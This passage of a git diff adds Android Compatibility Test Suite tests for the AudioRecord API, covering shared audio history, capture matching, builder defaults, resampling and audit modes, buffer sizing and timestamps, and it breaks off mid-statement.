+        final AudioRecord record =
+                new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
+                        .setSampleRate(SAMPLING_RATE_HZ)
+                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                    .setBufferSizeInBytes(SAMPLING_RATE_HZ
+                            * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
+                    .setMaxSharedAudioHistoryMillis(
+                            AudioRecord.getMaxSharedAudioHistoryMillis()-1)
+                    .build();
+
+        assertEquals(AudioRecord.STATE_INITIALIZED, record.getState());
+
+        record.startRecording();
+        Thread.sleep(500);
+
+        assertThrows(NullPointerException.class, () -> {
+                    record.shareAudioHistory(null /* sharedPackage */, 100 /* startFromMillis */);
+                });
+
+        assertThrows(IllegalArgumentException.class, () -> {
+                    record.shareAudioHistory(
+                            InstrumentationRegistry.getTargetContext().getPackageName(),
+                            -1 /* startFromMillis */);
+                });
+
+        record.stop();
+        record.release();
+    }
+
+    @Test
+    public void testCapturesMatch() throws Exception {
+        AudioRecord record1 = null;
+        AudioRecord record2 = null;
+        try {
+            record1 = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
+                                .setSampleRate(SAMPLING_RATE_HZ)
+                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                            .setBufferSizeInBytes(SAMPLING_RATE_HZ
+                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
+                            .setMaxSharedAudioHistoryMillis(
+                                    AudioRecord.getMaxSharedAudioHistoryMillis() - 1)
+                            .build();
+            assertEquals(AudioRecord.STATE_INITIALIZED, record1.getState());
+
+            record1.startRecording();
+
+            final int RECORD1_NUM_SAMPLES = SAMPLING_RATE_HZ / 2;
+            short[] buffer1 = new short[RECORD1_NUM_SAMPLES];
+
+            // blocking read should allow for at least 500ms of audio in buffer
+            int samplesRead = record1.read(buffer1, 0, RECORD1_NUM_SAMPLES);
+            assertTrue(samplesRead >= RECORD1_NUM_SAMPLES);
+
+
+            final int RECORD2_START_TIME_MS = 100;
+            MediaSyncEvent event = record1.shareAudioHistory(
+                    InstrumentationRegistry.getTargetContext().getPackageName(),
+                    (long) RECORD2_START_TIME_MS /* startFromMillis */);
+            assertEquals(event.getAudioSessionId(), record1.getAudioSessionId());
+
+            record2 = new AudioRecord.Builder().setAudioFormat(new AudioFormat.Builder()
+                                .setSampleRate(SAMPLING_RATE_HZ)
+                                .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                            .setBufferSizeInBytes(SAMPLING_RATE_HZ
+                                * AudioFormat.getBytesPerSample(AudioFormat.ENCODING_PCM_16BIT))
+                            .setSharedAudioEvent(event)
+                            .build();
+            assertEquals(AudioRecord.STATE_INITIALIZED, record2.getState());
+
+            record2.startRecording();
+
+            final int RECORD2_NUM_SAMPLES = SAMPLING_RATE_HZ / 5;
+            short[] buffer2 = new short[RECORD2_NUM_SAMPLES];
+
+            samplesRead = record2.read(buffer2, 0, RECORD2_NUM_SAMPLES);
+            assertTrue(samplesRead >= RECORD2_NUM_SAMPLES);
+
+            record2.stop();
+            record1.stop();
+
+
+            // verify that the audio read by 2nd AudioRecord exactly matches the audio read
+            // by 1st AudioRecord starting from the expected start time with a certain tolerance.
+            final int FIRST_EXPECTED_SAMPLE = RECORD2_START_TIME_MS * SAMPLING_RATE_HZ / 1000;
+            // NOTE: START_TIME_TOLERANCE_MS must always be smaller than RECORD2_START_TIME_MS
+            final int START_TIME_TOLERANCE_MS = 1;
+            final int START_SAMPLE_TOLERANCE = START_TIME_TOLERANCE_MS * SAMPLING_RATE_HZ / 1000;
+            // let time for a resampler to converge by skipping samples at the beginning of the
+            // record2 buffer before comparing to record1 buffer
+            final int RESAMPLER_CONVERGENCE_MS = 5;
+            final int RESAMPLER_CONVERGENCE_SAMPLE =
+                    RESAMPLER_CONVERGENCE_MS * SAMPLING_RATE_HZ / 1000;
+
+
+            boolean buffersMatch = false;
+            for (int i = -START_SAMPLE_TOLERANCE;
+                    i < START_SAMPLE_TOLERANCE && !buffersMatch; i++) {
+                int offset1 = i + FIRST_EXPECTED_SAMPLE;
+                if (offset1 < 0) {
+                    continue;
+                }
+                // unlikely: programming error
+                if (RECORD1_NUM_SAMPLES - offset1 < RECORD2_NUM_SAMPLES) {
+                    Log.w(TAG, "testCapturesMatch: " +
+                            "invalid buffer1 size/buffer2 size/start ms combination!");
+                    break;
+                }
+
+                buffersMatch = true;
+                for (int j = RESAMPLER_CONVERGENCE_SAMPLE; j < RECORD2_NUM_SAMPLES; j++) {
+                    if (buffer2[j] != buffer1[j + offset1]) {
+                         buffersMatch = false;
+                         break;
+                     }
+                }
+            }
+            assertTrue(buffersMatch);
+        } finally {
+            if (record1 != null) {
+                record1.release();
+            }
+            if (record2 != null) {
+                record2.release();
+            }
+        }
+    }
+
+    private boolean hasMicrophone() {
+        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private void clearAudioserverPermissionCache() {
+        try {
+            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "cmd media.audio_policy purge_permission-cache");
+        } catch (IOException e) {
+            fail("cannot purge audio server permission cache");
+        }
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordTest.java
new file mode 100644
index 0000000..ee5f0da
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordTest.java
@@ -0,0 +1,1735 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioRecord;
+import android.media.AudioRecord.OnRecordPositionUpdateListener;
+import android.media.AudioRecordingConfiguration;
+import android.media.AudioSystem;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.MediaRecorder;
+import android.media.MediaSyncEvent;
+import android.media.MicrophoneDirection;
+import android.media.MicrophoneInfo;
+import android.media.cts.AudioHelper;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.RecordingSession;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.os.Process;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ShortBuffer;
+import java.util.ArrayList;
+import java.util.concurrent.Executor;
+import java.util.List;
+
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioRecordTest {
+    private final static String TAG = "AudioRecordTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaAudioTestCases";
+    private AudioRecord mAudioRecord;
+    private static final int SAMPLING_RATE_HZ = 44100;
+    private boolean mIsOnMarkerReachedCalled;
+    private boolean mIsOnPeriodicNotificationCalled;
+    private boolean mIsHandleMessageCalled;
+    private Looper mLooper;
+    // For doTest
+    private int mMarkerPeriodInFrames;
+    private int mMarkerPosition;
+    private Handler mHandler = new Handler(Looper.getMainLooper()) {
+        @Override
+        public void handleMessage(Message msg) {
+            mIsHandleMessageCalled = true;
+            super.handleMessage(msg);
+        }
+    };
+    private static final int RECORD_DURATION_MS = 500;
+    private static final int TEST_TIMING_TOLERANCE_MS = 70;
+
+    @Before
+    public void setUp() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        /*
+         * InstrumentationTestRunner.onStart() calls Looper.prepare(), which creates a looper
+         * for the current thread. However, since we don't actually call loop() in the test,
+         * any messages queued with that looper will never be consumed. Therefore, we must
+         * create the instance in another thread, either without a looper, so the main looper is
+         * used, or with an active looper.
+         */
+        Thread t = new Thread() {
+            @Override
+            public void run() {
+                Looper.prepare();
+                mLooper = Looper.myLooper();
+                synchronized(this) {
+                    mAudioRecord = new AudioRecord.Builder()
+                                    .setAudioFormat(new AudioFormat.Builder()
+                                        .setSampleRate(SAMPLING_RATE_HZ)
+                                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                                    .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
+                                    .setBufferSizeInBytes(
+                                        AudioRecord.getMinBufferSize(SAMPLING_RATE_HZ,
+                                              AudioFormat.CHANNEL_IN_MONO,
+                                              AudioFormat.ENCODING_PCM_16BIT) * 10)
+                                    .build();
+                    this.notify();
+                }
+                Looper.loop();
+            }
+        };
+        synchronized(t) {
+            t.start(); // will block until we wait
+            t.wait();
+        }
+        assertNotNull(mAudioRecord);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (hasMicrophone()) {
+            mAudioRecord.release();
+            mLooper.quit();
+        }
+    }
+
+    private void reset() {
+        mIsOnMarkerReachedCalled = false;
+        mIsOnPeriodicNotificationCalled = false;
+        mIsHandleMessageCalled = false;
+    }
+
+    @Test
+    public void testAudioRecordProperties() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        assertEquals(AudioFormat.ENCODING_PCM_16BIT, mAudioRecord.getAudioFormat());
+        assertEquals(MediaRecorder.AudioSource.DEFAULT, mAudioRecord.getAudioSource());
+        assertEquals(1, mAudioRecord.getChannelCount());
+        assertEquals(AudioFormat.CHANNEL_IN_MONO,
+                mAudioRecord.getChannelConfiguration());
+        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+        assertEquals(SAMPLING_RATE_HZ, mAudioRecord.getSampleRate());
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+
+        int bufferSize = AudioRecord.getMinBufferSize(SAMPLING_RATE_HZ,
+                AudioFormat.CHANNEL_CONFIGURATION_DEFAULT, AudioFormat.ENCODING_PCM_16BIT);
+        assertTrue(bufferSize > 0);
+    }
+
+    @Test
+    public void testAudioRecordOP() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        final int SLEEP_TIME = 10;
+        final int RECORD_TIME = 10000;
+        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+
+        int markerInFrames = mAudioRecord.getSampleRate() / 2;
+        assertEquals(AudioRecord.SUCCESS,
+                mAudioRecord.setNotificationMarkerPosition(markerInFrames));
+        assertEquals(markerInFrames, mAudioRecord.getNotificationMarkerPosition());
+        int periodInFrames = mAudioRecord.getSampleRate();
+        assertEquals(AudioRecord.SUCCESS,
+                mAudioRecord.setPositionNotificationPeriod(periodInFrames));
+        assertEquals(periodInFrames, mAudioRecord.getPositionNotificationPeriod());
+        OnRecordPositionUpdateListener listener = new OnRecordPositionUpdateListener() {
+
+            public void onMarkerReached(AudioRecord recorder) {
+                mIsOnMarkerReachedCalled = true;
+            }
+
+            public void onPeriodicNotification(AudioRecord recorder) {
+                mIsOnPeriodicNotificationCalled = true;
+            }
+        };
+        mAudioRecord.setRecordPositionUpdateListener(listener);
+
+        // use byte array as buffer
+        final int BUFFER_SIZE = 102400;
+        byte[] byteData = new byte[BUFFER_SIZE];
+        long time = System.currentTimeMillis();
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        while (System.currentTimeMillis() - time < RECORD_TIME) {
+            Thread.sleep(SLEEP_TIME);
+            mAudioRecord.read(byteData, 0, BUFFER_SIZE);
+        }
+        mAudioRecord.stop();
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+        assertTrue(mIsOnMarkerReachedCalled);
+        assertTrue(mIsOnPeriodicNotificationCalled);
+        reset();
+
+        // use short array as buffer
+        short[] shortData = new short[BUFFER_SIZE];
+        time = System.currentTimeMillis();
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        while (System.currentTimeMillis() - time < RECORD_TIME) {
+            Thread.sleep(SLEEP_TIME);
+            mAudioRecord.read(shortData, 0, BUFFER_SIZE);
+        }
+        mAudioRecord.stop();
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+        assertTrue(mIsOnMarkerReachedCalled);
+        assertTrue(mIsOnPeriodicNotificationCalled);
+        reset();
+
+        // use ByteBuffer as buffer
+        ByteBuffer byteBuffer = ByteBuffer.allocateDirect(BUFFER_SIZE);
+        time = System.currentTimeMillis();
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        while (System.currentTimeMillis() - time < RECORD_TIME) {
+            Thread.sleep(SLEEP_TIME);
+            mAudioRecord.read(byteBuffer, BUFFER_SIZE);
+        }
+        mAudioRecord.stop();
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+        assertTrue(mIsOnMarkerReachedCalled);
+        assertTrue(mIsOnPeriodicNotificationCalled);
+        reset();
+
+        // use handler
+        final Handler handler = new Handler(Looper.getMainLooper()) {
+            @Override
+            public void handleMessage(Message msg) {
+                mIsHandleMessageCalled = true;
+                super.handleMessage(msg);
+            }
+        };
+
+        mAudioRecord.setRecordPositionUpdateListener(listener, handler);
+        time = System.currentTimeMillis();
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        while (System.currentTimeMillis() - time < RECORD_TIME) {
+            Thread.sleep(SLEEP_TIME);
+            mAudioRecord.read(byteData, 0, BUFFER_SIZE);
+        }
+        mAudioRecord.stop();
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+        assertTrue(mIsOnMarkerReachedCalled);
+        assertTrue(mIsOnPeriodicNotificationCalled);
+        // The handler argument is only ever used for getting the associated Looper
+        assertFalse(mIsHandleMessageCalled);
+
+        mAudioRecord.release();
+        assertEquals(AudioRecord.STATE_UNINITIALIZED, mAudioRecord.getState());
+    }
+
+    @Test
+    public void testAudioRecordResamplerMono8Bit() throws Exception {
+        doTest("resampler_mono_8bit", true /*localRecord*/, false /*customHandler*/,
+                1 /*periodsPerSecond*/, 1 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/,  false /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 88200 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_8BIT);
+    }
+
+    @Test
+    public void testAudioRecordResamplerStereo8Bit() throws Exception {
+        doTest("resampler_stereo_8bit", true /*localRecord*/, false /*customHandler*/,
+                0 /*periodsPerSecond*/, 3 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/,  true /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 45000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_8BIT);
+    }
+
+    @Presubmit
+    @Test
+    public void testAudioRecordLocalMono16BitShort() throws Exception {
+        doTest("local_mono_16bit_short", true /*localRecord*/, false /*customHandler*/,
+                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, true /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 8000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 500 /*TEST_TIME_MS*/);
+    }
+
+    @Test
+    public void testAudioRecordLocalMono16Bit() throws Exception {
+        doTest("local_mono_16bit", true /*localRecord*/, false /*customHandler*/,
+                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, true /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 8000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT);
+    }
+
+    @Test
+    public void testAudioRecordStereo16Bit() throws Exception {
+        doTest("stereo_16bit", false /*localRecord*/, false /*customHandler*/,
+                2 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 17000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_16BIT);
+    }
+
+    @Test
+    public void testAudioRecordMonoFloat() throws Exception {
+        doTest("mono_float", false /*localRecord*/, true /*customHandler*/,
+                30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, true /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 32000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    @Test
+    public void testAudioRecordLocalNonblockingStereoFloat() throws Exception {
+        doTest("local_nonblocking_stereo_float", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                false /*auditRecording*/, false /*isChannelIndex*/, 48000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    // Audit modes work best with non-blocking mode
+    @Test
+    public void testAudioRecordAuditByteBufferResamplerStereoFloat() throws Exception {
+        if (isLowRamDevice()) {
+            return; // skip. FIXME: reenable when AF memory allocation is updated.
+        }
+        doTest("audit_byte_buffer_resampler_stereo_float",
+                false /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, false /*isChannelIndex*/, 96000 /*TEST_SR*/,
+                AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    @Test
+    public void testAudioRecordAuditChannelIndexMonoFloat() throws Exception {
+        doTest("audit_channel_index_mono_float", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 47000 /*TEST_SR*/,
+                (1 << 0) /* 1 channel */, AudioFormat.ENCODING_PCM_FLOAT);
+    }
+
+    // Audit buffers can run out of space with high sample rate,
+    // so keep the channels and pcm encoding low
+    @Test
+    public void testAudioRecordAuditChannelIndex2() throws Exception {
+        if (isLowRamDevice()) {
+            return; // skip. FIXME: reenable when AF memory allocation is updated.
+        }
+        doTest("audit_channel_index_2", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 192000 /*TEST_SR*/,
+                (1 << 0) | (1 << 2) /* 2 channels, gap in middle */,
+                AudioFormat.ENCODING_PCM_8BIT);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex5() throws Exception {
+        doTest("audit_channel_index_5", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
+                (1 << 0) | (1 << 1) | (1 << 2) | (1 << 3) | (1 << 4)  /* 5 channels */,
+                AudioFormat.ENCODING_PCM_16BIT);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    // This tests the maximum reported Mixed PCM channel capability
+    // for AudioRecord and AudioTrack.
+    @Test
+    public void testAudioRecordAuditChannelIndexMax() throws Exception {
+        // We skip this test for isLowRamDevice(s).
+        // Otherwise if the build reports a high PCM channel count capability,
+        // we expect this CTS test to work at 16kHz.
+        if (isLowRamDevice()) {
+            return; // skip. FIXME: reenable when AF memory allocation is updated.
+        }
+        final int maxChannels = AudioSystem.OUT_CHANNEL_COUNT_MAX; // FCC_LIMIT
+        doTest("audit_channel_index_max", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                false /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
+                (1 << maxChannels) - 1,
+                AudioFormat.ENCODING_PCM_16BIT);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex3() throws Exception {
+        doTest("audit_channel_index_3", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 16000 /*TEST_SR*/,
+                (1 << 0) | (1 << 1) | (1 << 2)  /* 3 channels */,
+                AudioFormat.ENCODING_PCM_24BIT_PACKED);
+    }
+
+    // Audit buffers can run out of space with high numbers of channels,
+    // so keep the sample rate low.
+    @Test
+    public void testAudioRecordAuditChannelIndex1() throws Exception {
+        doTest("audit_channel_index_1", true /*localRecord*/, true /*customHandler*/,
+                2 /*periodsPerSecond*/, 0 /*markerPeriodsPerSecond*/,
+                true /*useByteBuffer*/, false /*blocking*/,
+                true /*auditRecording*/, true /*isChannelIndex*/, 24000 /*TEST_SR*/,
+                (1 << 0)  /* 1 channels */,
+                AudioFormat.ENCODING_PCM_32BIT);
+    }
+
+    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
+    // an empty Builder matches the documentation / expected values
+    @Test
+    public void testAudioRecordBuilderDefault() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testAudioRecordBuilderDefault";
+        // expected values below match the AudioRecord.Builder documentation
+        final int expectedCapturePreset = MediaRecorder.AudioSource.DEFAULT;
+        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
+        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
+        final int expectedState = AudioRecord.STATE_INITIALIZED;
+        // use builder with default values
+        final AudioRecord rec = new AudioRecord.Builder().build();
+        // save results
+        final int observedSource = rec.getAudioSource();
+        final int observedChannel = rec.getChannelConfiguration();
+        final int observedEncoding = rec.getAudioFormat();
+        final int observedState = rec.getState();
+        // release recorder before the test exits (either successfully or with an exception)
+        rec.release();
+        // compare results
+        assertEquals(TEST_NAME + ": default capture preset", expectedCapturePreset, observedSource);
+        assertEquals(TEST_NAME + ": default channel config", expectedChannel, observedChannel);
+        assertEquals(TEST_NAME + ": default encoding", expectedEncoding, observedEncoding);
+        assertEquals(TEST_NAME + ": state", expectedState, observedState);
+    }
+
+    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord built with
+    // an incomplete AudioFormat matches the documentation / expected values
+    @Test
+    public void testAudioRecordBuilderPartialFormat() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testAudioRecordBuilderPartialFormat";
+        final int expectedRate = 16000;
+        final int expectedState = AudioRecord.STATE_INITIALIZED;
+        // expected values below match the AudioRecord.Builder documentation
+        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
+        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
+        // use builder with a partial audio format
+        final AudioRecord rec = new AudioRecord.Builder()
+                .setAudioFormat(new AudioFormat.Builder().setSampleRate(expectedRate).build())
+                .build();
+        // save results
+        final int observedRate = rec.getSampleRate();
+        final int observedChannel = rec.getChannelConfiguration();
+        final int observedEncoding = rec.getAudioFormat();
+        final int observedState = rec.getState();
+        // release recorder before the test exits (either successfully or with an exception)
+        rec.release();
+        // compare results
+        assertEquals(TEST_NAME + ": configured rate", expectedRate, observedRate);
+        assertEquals(TEST_NAME + ": default channel config", expectedChannel, observedChannel);
+        assertEquals(TEST_NAME + ": default encoding", expectedEncoding, observedEncoding);
+        assertEquals(TEST_NAME + ": state", expectedState, observedState);
+    }
+
+    // Test AudioRecord.Builder to verify the observed configuration of an AudioRecord matches
+    // the parameters used in the builder
+    @Test
+    public void testAudioRecordBuilderParams() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testAudioRecordBuilderParams";
+        final int expectedRate = 8000;
+        final int expectedChannel = AudioFormat.CHANNEL_IN_MONO;
+        final int expectedChannelCount = 1;
+        final int expectedEncoding = AudioFormat.ENCODING_PCM_16BIT;
+        final int expectedSource = MediaRecorder.AudioSource.VOICE_COMMUNICATION;
+        final int expectedState = AudioRecord.STATE_INITIALIZED;
+        // use builder with expected parameters
+        final AudioRecord rec = new AudioRecord.Builder()
+                .setAudioFormat(new AudioFormat.Builder()
+                        .setSampleRate(expectedRate)
+                        .setChannelMask(expectedChannel)
+                        .setEncoding(expectedEncoding)
+                        .build())
+                .setAudioSource(expectedSource)
+                .build();
+        // save results
+        final int observedRate = rec.getSampleRate();
+        final int observedChannel = rec.getChannelConfiguration();
+        final int observedChannelCount = rec.getChannelCount();
+        final int observedEncoding = rec.getAudioFormat();
+        final int observedSource = rec.getAudioSource();
+        final int observedState = rec.getState();
+        // release recorder before the test exits (either successfully or with an exception)
+        rec.release();
+        // compare results
+        assertEquals(TEST_NAME + ": configured rate", expectedRate, observedRate);
+        assertEquals(TEST_NAME + ": configured channel config", expectedChannel, observedChannel);
+        assertEquals(TEST_NAME + ": configured encoding", expectedEncoding, observedEncoding);
+        assertEquals(TEST_NAME + ": implicit channel count", expectedChannelCount,
+                observedChannelCount);
+        assertEquals(TEST_NAME + ": configured source", expectedSource, observedSource);
+        assertEquals(TEST_NAME + ": state", expectedState, observedState);
+    }
+
+    // Test AudioRecord to ensure we can build after a failure.
+    @Test
+    public void testAudioRecordBufferSize() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        // constants for test
+        final String TEST_NAME = "testAudioRecordBufferSize";
+
+        // use builder with parameters that should fail
+        final int superBigBufferSize = 1 << 28;
+        try {
+            final AudioRecord record = new AudioRecord.Builder()
+                .setBufferSizeInBytes(superBigBufferSize)
+                .build();
+            record.release();
+            fail(TEST_NAME + ": should throw exception on failure");
+        } catch (UnsupportedOperationException e) {
+            ;
+        }
+
+        // we should be able to create again with minimum buffer size
+        final int verySmallBufferSize = 2 * 3 * 4; // frame size multiples
+        final AudioRecord record2 = new AudioRecord.Builder()
+                .setBufferSizeInBytes(verySmallBufferSize)
+                .build();
+
+        final int observedState2 = record2.getState();
+        final int observedBufferSize2 = record2.getBufferSizeInFrames();
+        record2.release();
+
+        // succeeds for minimum buffer size
+        assertEquals(TEST_NAME + ": state", AudioRecord.STATE_INITIALIZED, observedState2);
+        // should force the minimum size buffer which is > 0
+        assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
+    }
+
+    @Test
+    public void testTimestamp() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        final String TEST_NAME = "testTimestamp";
+        AudioRecord record = null;
+
+        try {
+            final int NANOS_PER_MILLISECOND = 1000000;
+            final long RECORD_TIME_MS = 2000;
+            final long RECORD_TIME_NS = RECORD_TIME_MS * NANOS_PER_MILLISECOND;
+            final int RECORD_ENCODING = AudioFormat.ENCODING_PCM_16BIT; // fixed at this time.
+            final int RECORD_CHANNEL_MASK = AudioFormat.CHANNEL_IN_STEREO;
+            final int RECORD_SAMPLE_RATE = 23456;  // requires resampling
+            record = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setSampleRate(RECORD_SAMPLE_RATE)
+                            .setChannelMask(RECORD_CHANNEL_MASK)
+                            .setEncoding(RECORD_ENCODING)
+                            .build())
+                    .build();
+
+            // For our tests, we could set test duration by timed sleep or by # frames received.
+            // Since we don't know *exactly* when AudioRecord actually begins recording,
+            // we end the test by # frames read.
+            final int numChannels =
+                    AudioFormat.channelCountFromInChannelMask(RECORD_CHANNEL_MASK);
+            final int bytesPerSample = AudioFormat.getBytesPerSample(RECORD_ENCODING);
+            final int bytesPerFrame = numChannels * bytesPerSample;
+            // careful about integer overflow in the formula below:
+            final int targetFrames =
